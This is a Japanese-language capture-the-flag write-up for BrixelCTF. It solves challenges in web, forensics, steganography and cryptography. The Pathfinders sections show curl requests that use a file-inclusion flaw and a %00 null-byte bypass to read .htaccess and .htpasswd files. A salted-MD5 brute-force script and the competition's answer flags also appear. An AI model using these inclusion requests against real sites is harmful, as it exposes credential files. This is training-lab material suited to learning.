> newpassword = alphabet[_0x58ab(0x198)](0x1, 0x1), newpassword = newpassword + alphabet[_0x58ab(0x198)](0x11, 0x1), newpassword = newpassword + alphabet[_0x58ab(0x198)](0x8, 0x1), newpassword = newpassword + alphabet['substr'](0x17, 0x1), newpassword = newpassword + alphabet[_0x58ab(0x198)](0x4, 0x1), newpassword = newpassword + alphabet[_0x58ab(0x198)](0xb, 0x1), newpassword = newpassword + alphabet[_0x58ab(0x198)](0x2, 0x1), newpassword = newpassword + alphabet[_0x58ab(0x198)](0x13, 0x1), newpassword = newpassword + alphabet[_0x58ab(0x198)](0x5, 0x1), newpassword = newpassword + alphabet[_0x58ab(0x198)](alphabet[_0x58ab(0x197)] - 0x2, 0x1), newpassword = newpassword + alphabet['substr'](alphabet[_0x58ab(0x197)] - 0x4, 0x1), newpassword = newpassword + alphabet[_0x58ab(0x198)](0x1, 0x1), newpassword = newpassword + alphabet[_0x58ab(0x198)](0x5, 0x1), newpassword = newpassword + alphabet['substr'](0x14, 0x1), newpassword = newpassword + alphabet[_0x58ab(0x198)](0x12, 0x1), newpassword = newpassword + alphabet[_0x58ab(0x198)](0x2, 0x1), newpassword = newpassword + alphabet['substr'](0x0, 0x1), newpassword = newpassword + alphabet[_0x58ab(0x198)](0x13, 0x1), newpassword = newpassword + alphabet[_0x58ab(0x198)](0x8, 0x1), newpassword = newpassword + alphabet[_0x58ab(0x198)](alphabet[_0x58ab(0x197)] - 0x4, 0x1), newpassword = newpassword + alphabet[_0x58ab(0x198)](0xd, 0x1), newpassword = newpassword + alphabet['substr'](alphabet[_0x58ab(0x197)] - 0x1, 0x1)
< "brixelctf{0bfuscati0n}"
brixelctf{0bfuscati0n}

Pathfinders #1 (Internet 15)

「go here」をクリックして、http://timesink.be/pathfinder/admin/index.phpにアクセスすると、basic認証になる。「the locations page」をクリックすると、以下のURLに遷移する。

http://timesink.be/pathfinder/index.php?page=locations.php

また、「here」をクリックすると、以下のURLに遷移する。

http://timesink.be/pathfinder/index.php?page=members.php

http://timesink.be/pathfinder/members.phpでも同様にページが表示されるので、pageパラメータで同じ階層のファイルを読み込んでいると推測できる。adminの.htaccessのファイルを見てみる。

$ curl http://timesink.be/pathfinder/index.php?page=admin/.htaccess
AuthGroupFile /dev/null
AuthType Basic
AuthUserFile /home/cfromage/domains/epsilom/public_html/pathfinder/admin/.htpasswd
AuthName "Admin only!"
require valid-user
ErrorDocument 401 "Unauthorized Access"

今度は.htpasswdのファイルを見てみる。

$ curl http://timesink.be/pathfinder/index.php?page=admin/.htpasswd
#normally you would brute force this, but that is not in scope of this challenge. The flag is: brixelCTF{unsafe_include} <br>
admin:$apr1$941ydmlw$aPUW.gCFcvUbIcP0ptVQF0
brixelCTF{unsafe_include}

Pathfinders #2 (Internet 20)

#1と同じように.htpasswdを見てみる。

$ curl http://timesink.be/pathfinder2/index.php?page=admin/.htpasswd
file not ending in .php, terminating.

ファイル名が.phpで終わる必要があるようだ。%00の終端を間に入れて試してみる。

$ curl http://timesink.be/pathfinder2/index.php?page=admin/.htpasswd%00.php
Great work! the flag is brixelCTF{outdated_php}

A message from space (Forensics 10)

wavの画像受信データがありそうなので、sstvのツールでデコードしてみる。

$ sstv -d recording.wav -o flag.png
[sstv] Searching for calibration header... Found!    
[sstv] Detected SSTV mode Scottie 1
[sstv] Decoding image...   [#############################################] 100%
[sstv] Drawing image data...
[sstv] ...Done!

f:id:satou-y:20210111140042p:plain

brixelCTF{SP4C3L4B}

Lottery ticket (Forensics 10)

Stegsolveで開き、Red plane 0で見てみると、4つの数字だけはっきり見える。
f:id:satou-y:20210111140130p:plain

42, 88, 25, 48

フラグとなる合計値は203

203

Lost evidence (Forensics 30)

証拠から容疑者が何を買ったか答える。
OSFMountでマウントし、マウントしたドライブの削除ファイルをRecuvaでスキャンし復元する。[000001].wav, [000002].wavが復元されるが、同じものなので、片方だけ解析する。
DTMFの音声が入っているので、https://unframework.github.io/dtmf-detect/でデコードする。

2125554240
546669
1609
2
533266
5000
1
8449903336667770844330222666222244466330227778844
2

ガラケーキーパッドの変換をする。

a.algag
jgow
.m w
a
jean
j   
.
thx for the cocaine bruh
a
brixelCTF{cocaine}

Doc-ception (Steganography 10)

loremipsum.docxを解凍すると、展開されたファイルの中にloremipsum.docxがある。さらに解凍し、展開すると、flag.txtがあり、そこにフラグが書いてある。

flag = openxml
openxml

Limewire audio (Steganography 10)

フラグは隠されているキャラクターの名前。Audacityで開き、スペクトログラムを見る。
f:id:satou-y:20210111140612p:plain

HelloKitty

Scan me (Steganography 10)

QRコードの中の右上の方にまたQRコードがあるので、切り取って読み取る。
f:id:satou-y:20210111140756p:plain

http://www.timesink.be/qrcode/flag.html

ここにアクセスすると、バーコードが記載されていて、答えるページになっている。
f:id:satou-y:20210111140835g:plain
https://online-barcode-reader.inliteresearch.com/でバーコードを読み取る。

コードのタイプは「Code128」
デコード結果は code-128-easy

答えると、次のコードが表示される。
f:id:satou-y:20210111140902p:plain
再び読み取り、答える。

コードのタイプは「Ean13」
デコード結果は 5449000133335

答えると、またコードが表示される。
f:id:satou-y:20210111140928g:plain
再び読み取り、答える。

コードのタイプは「Pdf417」
デコード結果は congratulations_this_is_the_last_barcode

3つ目のバーコードに答えると、フラグが表示された。
f:id:satou-y:20210111140957p:plain

brixelCTF{m4st3r_0f_sc4n5}

Rufus the vampire cat (Steganography 15)

$ steghide extract -sf rufus.jpg -p ""
wrote extracted data to "steganopayload639.txt".
$ cat steganopayload639.txt 
You thought this was a cute cat picture? NOPE! Chuck Testa! (the flag is:
chucktesta)
chucktesta

Sea code (Cryptography 5)

Audacityで開くと、モールス信号のようになっていることがわかるので、書き出し、デコードする。

- .... .  ..-. .-.. .- --.  ..-. --- .-.  - .... .. ...  -.-. .... .- .-.. .-.. . -. --. .  .. ...  ... . .- --. ..- .-.. .-..
THE FLAG FOR THIS CHALLENGE IS SEAGULL
SEAGULL

Merde (Cryptography 5)

フランスのメッセンジャーの暗号とのことなので、Vigenere暗号と推測する。
暗号は Vvr ktdk vl jvtzsyHBI{fnzcievs}、
平文は The flag is brixelCTF{????????}となると推測する。

          1111111111222222
01234567890123456789012345
abcdefghijklmnopqrstuvwxyz

v(21) <- t(19)  +2
v(21) <- h(07)  +14
r(17) <- e(04)  +13
k(10) <- f(05)  +5
t(19) <- l(11)  +8
d(03) <- a(00)  +3

KEYは途中まで見て、"CONFID"となっている。問題文の "confidentiel" が鍵のようだ。
https://www.dcode.fr/vigenere-cipherで復号する。

The flag is brixelCTF{baguette}
brixelCTF{baguette}

Merda (Cryptography 5)

シーザー暗号と推測する。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 5:
the flag is brixelCTF{pizzanapoli}
brixelCTF{pizzanapoli}

s̸͖̾̀͊͠h̸̜̒ï̷̧̲͙̭̤͛͒̋t̷̢̲͚͖̑͜ (Cryptography 10)

base64デコード、2進数デコードの順でデコードする。

enc = 'MDExMTAxMDAgMDExMDEwMDAgMDExMDAxMDEgMDAxMDAwMDAgMDExMDAxMTAgMDExMDExMDAgMDExMDAwMDEgMDExMDAxMTEgMDAxMDAwMDAgMDExMDEwMDEgMDExMTAwMTEgMDAxMDAwMDAgMDExMDAwMTAgMDExMTAwMTAgMDExMDEwMDEgMDExMTEwMDAgMDExMDAxMDEgMDExMDExMDAgMDEwMDAwMTEgMDEwMTAxMDAgMDEwMDAxMTAgMDExMTEwMTEgMDExMTAwMTAgMDExMDExMTEgMDExMDAwMTAgMDExMDExMTEgMDExMDAwMTEgMDExMDExMTEgMDExMTAwMDAgMDExMTExMDE='

enc = enc.decode('base64').split(' ')
dec = ''
for c in enc:
    dec += chr(int(c, 2))
print dec

実行結果は以下の通り。

the flag is brixelCTF{robocop}
brixelCTF{robocop}

Scheiße (Cryptography 10)

エニグマhttps://cryptii.com/pipes/enigma-machineで復号する。

derfl agist sauer kraut

ドイツ語になっている。

der flag ist sauerkraut
sauerkraut

flawed (Cryptography 10)

md5の値が与えられている。CrackStationでクラックする。

notsecure

Don't be salty (Cryptography 20)

英小文字5文字のブルートフォースでパスワードを求める。

import itertools
import string
import hashlib

h = '2bafea54caf6f8d718be0f234793a9be'
salt = '04532@#!!'

for c in itertools.product(string.lowercase, repeat=5):
    passwd = ''.join(c)
    if hashlib.md5(passwd + salt).hexdigest() == h:
        print passwd
        break
brute

Survey (Survey 10)

アンケートに答えたら、フラグが表示された。

brixelCTF{th4nk5_f0r_pl4y1ng}